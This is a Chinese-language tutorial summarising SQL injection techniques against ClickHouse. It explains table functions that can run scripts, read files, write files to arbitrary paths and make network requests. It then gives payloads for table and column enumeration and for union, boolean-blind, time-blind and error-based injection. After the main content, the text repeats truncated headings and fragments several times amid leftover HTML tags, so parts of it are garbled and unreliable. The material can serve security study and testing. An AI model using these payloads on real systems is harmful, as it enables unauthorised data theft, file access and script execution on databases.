ClickHouse 注入手法总结<\/h1>

环境搭建<\/h2>

直接在 Docker 运行 ClickHouse：<\/p>

docker pull clickhouse\/clickhouse-server
<\/span><\/span>docker run -d --name some-clickhouse-server --ulimit nofile=<\/span>262144:262144 clickhouse\/clickhouse-server
<\/span><\/span><\/code><\/pre>基础 SQL 语句<\/h2>
数据库操作<\/h3>
-- 列出数据库
<\/span><\/span><\/span><\/span>show<\/span> databases;
<\/span><\/span>
<\/span><\/span>-- 列出表
<\/span><\/span><\/span><\/span>show<\/span> tables;
<\/span><\/span>
<\/span><\/span>-- 查看表结构
<\/span><\/span><\/span><\/span>desc<\/span> system<\/span>.databases;
<\/span><\/span>
<\/span><\/span>-- 查看数据库详细信息
<\/span><\/span><\/span><\/span>select<\/span> name,database<\/span>,data_path from<\/span> system<\/span>.databases;
<\/span><\/span><\/code><\/pre>建表语句<\/h3>
CREATE<\/span> DATABASE<\/span> IF<\/span> NOT<\/span> EXISTS<\/span> helloworld;
<\/span><\/span>
<\/span><\/span>CREATE<\/span> TABLE<\/span> helloworld.my_first_table
<\/span><\/span>(
<\/span><\/span>    user_id UInt32,
<\/span><\/span>    message String,
<\/span><\/span>    timestamp<\/span> DateTime,
<\/span><\/span>    metric Float32
<\/span><\/span>)
<\/span><\/span>ENGINE =<\/span> MergeTree()
<\/span><\/span>PRIMARY<\/span> KEY<\/span> (user_id, timestamp<\/span>)
<\/span><\/span><\/code><\/pre>插入数据<\/h3>
INSERT<\/span> INTO<\/span> helloworld.my_first_table (user_id, message, timestamp<\/span>, metric) VALUES<\/span>
<\/span><\/span>    (101<\/span>, 'Hello, ClickHouse!'<\/span>,                                 now(),       -<\/span>1<\/span>.0<\/span>    ),
<\/span><\/span>    (102<\/span>, 'Insert a lot of rows per batch'<\/span>,                     yesterday(), 1<\/span>.41421<\/span> ),
<\/span><\/span>    (102<\/span>, 'Sort your data based on your commonly-used queries'<\/span>, today(),     2<\/span>.718<\/span>   ),
<\/span><\/span>    (101<\/span>, 'Granules are the smallest chunks of data read'<\/span>,      now() +<\/span> 5<\/span>,   3<\/span>.14159<\/span> )
<\/span><\/span><\/code><\/pre>系统数据库<\/h2>
system<\/code> 数据库存储了数据库信息、表信息、字段信息：<\/p>
-- 查询当前数据库的表
<\/span><\/span><\/span><\/span>select<\/span> name,table<\/span>,database<\/span> from<\/span> system<\/span>.tables where<\/span> database<\/span>=<\/span>database<\/span>();
<\/span><\/span>
<\/span><\/span>-- 查询表的列
<\/span><\/span><\/span><\/span>select<\/span> name,table<\/span> from<\/span> system<\/span>.columns where<\/span> table<\/span>=<\/span>'my_first_table'<\/span>;
<\/span><\/span><\/code><\/pre>常规函数<\/h2>
字符串操作<\/h3>
-- 字符串拼接
<\/span><\/span><\/span><\/span>concatWithSeparator(sep, expr1, expr2, expr3...);
<\/span><\/span>
<\/span><\/span>-- 字符串切割
<\/span><\/span><\/span><\/span>select<\/span> substring<\/span>('abcdef'<\/span>,2<\/span>,3<\/span>);
<\/span><\/span>
<\/span><\/span>-- 字符串比较
<\/span><\/span><\/span><\/span>select<\/span> startsWith(str, prefix<\/span>);
<\/span><\/span>select<\/span> endsWith(str, suffix);
<\/span><\/span><\/code><\/pre>编码函数<\/h3>
select<\/span> ascii('a'<\/span>);
<\/span><\/span>select<\/span> char(97<\/span>);
<\/span><\/span>select<\/span> base64Encode('clickhouse'<\/span>);
<\/span><\/span>select<\/span> base64Decode('Y2xpY2tob3VzZQ=='<\/span>);
<\/span><\/span><\/code><\/pre>聚合函数<\/h2>
字段拼接<\/h3>
-- 返回数组类型
<\/span><\/span><\/span><\/span>select<\/span> groupArray(message) from<\/span> my_first_table;
<\/span><\/span>
<\/span><\/span>-- 将数组转换为字符串
<\/span><\/span><\/span><\/span>select<\/span> arrayStringConcat(groupArray(message),','<\/span>) from<\/span> my_first_table;
<\/span><\/span><\/code><\/pre>表函数<\/h2>
表函数接在 from<\/code> 后面，返回的结果作为一张表。<\/p>
执行脚本文件<\/h3>

在 \/var\/lib\/clickhouse\/user_scripts\/<\/code> 目录下创建脚本文件（如 1.py<\/code>）<\/li>
执行 SQL：<\/li>
<\/ol>
SELECT<\/span> *<\/span> FROM<\/span> executable('1.py'<\/span>, TabSeparated, 'id UInt32, random String'<\/span>, (SELECT<\/span> 10<\/span>))
<\/span><\/span><\/code><\/pre>
TabSeparated<\/code> 表示脚本输出以 \t<\/code> 分隔<\/li>
最后一个参数传入的查询结果会被传入脚本的标准输入<\/li>
<\/ul>
文件读取<\/h3>
-- 读取 user_files 目录下的文件
<\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> file('1.txt'<\/span>, 'CSV'<\/span>, 'column1 UInt32, column2 UInt32, column3 UInt32'<\/span>);
<\/span><\/span><\/code><\/pre>写文件<\/h3>
-- 任意位置可写
<\/span><\/span><\/span><\/span>select<\/span> 1<\/span>,2<\/span>,3<\/span> union<\/span> all<\/span> select<\/span> 123<\/span>,4556<\/span>,789<\/span> into<\/span> outfile '\/tmp\/1.txt'<\/span>;
<\/span><\/span><\/code><\/pre>发起网络请求<\/h3>
SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/127.0.0.1:12345\/'<\/span>, CSV, 'column1 String, column2 UInt32'<\/span>, headers('Accept'<\/span>=<\/span>'text\/csv; charset=utf-8'<\/span>));
<\/span><\/span><\/code><\/pre>注入手法<\/h2>
获取表名<\/h3>
select<\/span> arrayStringConcat(groupArray(name),','<\/span>) from<\/span> system<\/span>.tables where<\/span> database<\/span>=<\/span>database<\/span>();
<\/span><\/span>select<\/span> arrayStringConcat(groupArray(table<\/span>),','<\/span>) from<\/span> system<\/span>.tables where<\/span> database<\/span>=<\/span>database<\/span>();
<\/span><\/span>select<\/span> arrayStringConcat(groupArray(table_schema),','<\/span>) from<\/span> information_schema.tables where<\/span> table_schema=<\/span>database<\/span>();
<\/span><\/span><\/code><\/pre>获取列名<\/h3>
select<\/span> arrayStringConcat(groupArray(name),','<\/span>) from<\/span> system<\/span>.columns where<\/span> table<\/span>=<\/span>'your_table'<\/span>;
<\/span><\/span>select<\/span> arrayStringConcat(groupArray(column_name<\/span>),','<\/span>) from<\/span> information_schema.tables where<\/span> table_name<\/span>=<\/span>'your_table'<\/span>;
<\/span><\/span><\/code><\/pre>联合注入<\/h3>
要点：<\/p>

不能写 union select<\/code>，应该写 union all select<\/code> 或 union distinct select<\/code><\/li>
两个查询对应的列的数据类型要相同<\/li>
<\/ol>
布尔盲注<\/h3>
ascii(substr('xxx'<\/span>,0<\/span>,1<\/span>))=<\/span>97<\/span>;
<\/span><\/span>if<\/span>(ascii(substr('xxx'<\/span>,0<\/span>,1<\/span>)) =<\/span> 97<\/span>,0<\/span>,1<\/span>);
<\/span><\/span><\/code><\/pre>时间盲注<\/h3>
if<\/span>(ascii(substr('xxx'<\/span>,0<\/span>,1<\/span>)) =<\/span> 97<\/span>,0<\/span>,sleep(1<\/span>));
<\/span><\/span>-- 也可以执行其他耗时的查询代替 sleep
<\/span><\/span><\/span><\/code><\/pre>报错注入<\/h3>
select<\/span> 1<\/span> where<\/span> 1<\/span>=<\/span>CAST<\/span>((select<\/span> database<\/span>()) as<\/span> UInt32);
<\/span><\/span><\/code><\/pre>注意事项<\/h2>

ClickHouse 的 sleep<\/code> 函数当参数大于 3 时会直接报错<\/li>
使用 groupArray<\/code> 返回的是数组类型，不能直接与字符串类型进行 union 操作<\/li>
尝试跨目录执行文件时会报错<\/li>
<\/ol>

ClickHouse 注入手法总结<\/h1>

基础 SQL 语句<\/h2>

常规函数<\/h2>

聚合函数<\/h2>

表函数<\/h2>
表函数接在 `from<\/code> 后面，返回的结果作为一张表。<\/p>`

注入手法<\/h2>

注意事项<\/h2>

ClickHouse 的 `sleep<\/code> 函数当参数大于 3 时会直接报错<\/li>`
`使用 groupArray<\/code> 返回的是数组类型，不能直接与字符串类型进行 union 操作<\/li>`
`尝试跨目录执行文件时会报错<\/li> <\/ol>`

ClickHouse 注入手法总结<\/h1>

基础 SQL 语句<\/h2>

常规函数<\/h2>

聚合函数<\/h2>

表函数<\/h2> 表函数接在 from<\/code> 后面，返回的结果作为一张表。<\/p>

注入手法<\/h2>

注意事项<\/h2> ClickHouse 的 sleep<\/code> 函数当参数大于 3 时会直接报错<\/li> 使用 groupArray<\/code> 返回的是数组类型，不能直接与字符串类型进行 union 操作<\/li> 尝试跨目录执行文件时会报错<\/li> <\/ol>

表函数<\/h2>
表函数接在 `from<\/code> 后面，返回的结果作为一张表。<\/p>`

注意事项<\/h2>

ClickHouse 的 `sleep<\/code> 函数当参数大于 3 时会直接报错<\/li>`
`使用 groupArray<\/code> 返回的是数组类型，不能直接与字符串类型进行 union 操作<\/li>`
`尝试跨目录执行文件时会报错<\/li> <\/ol>`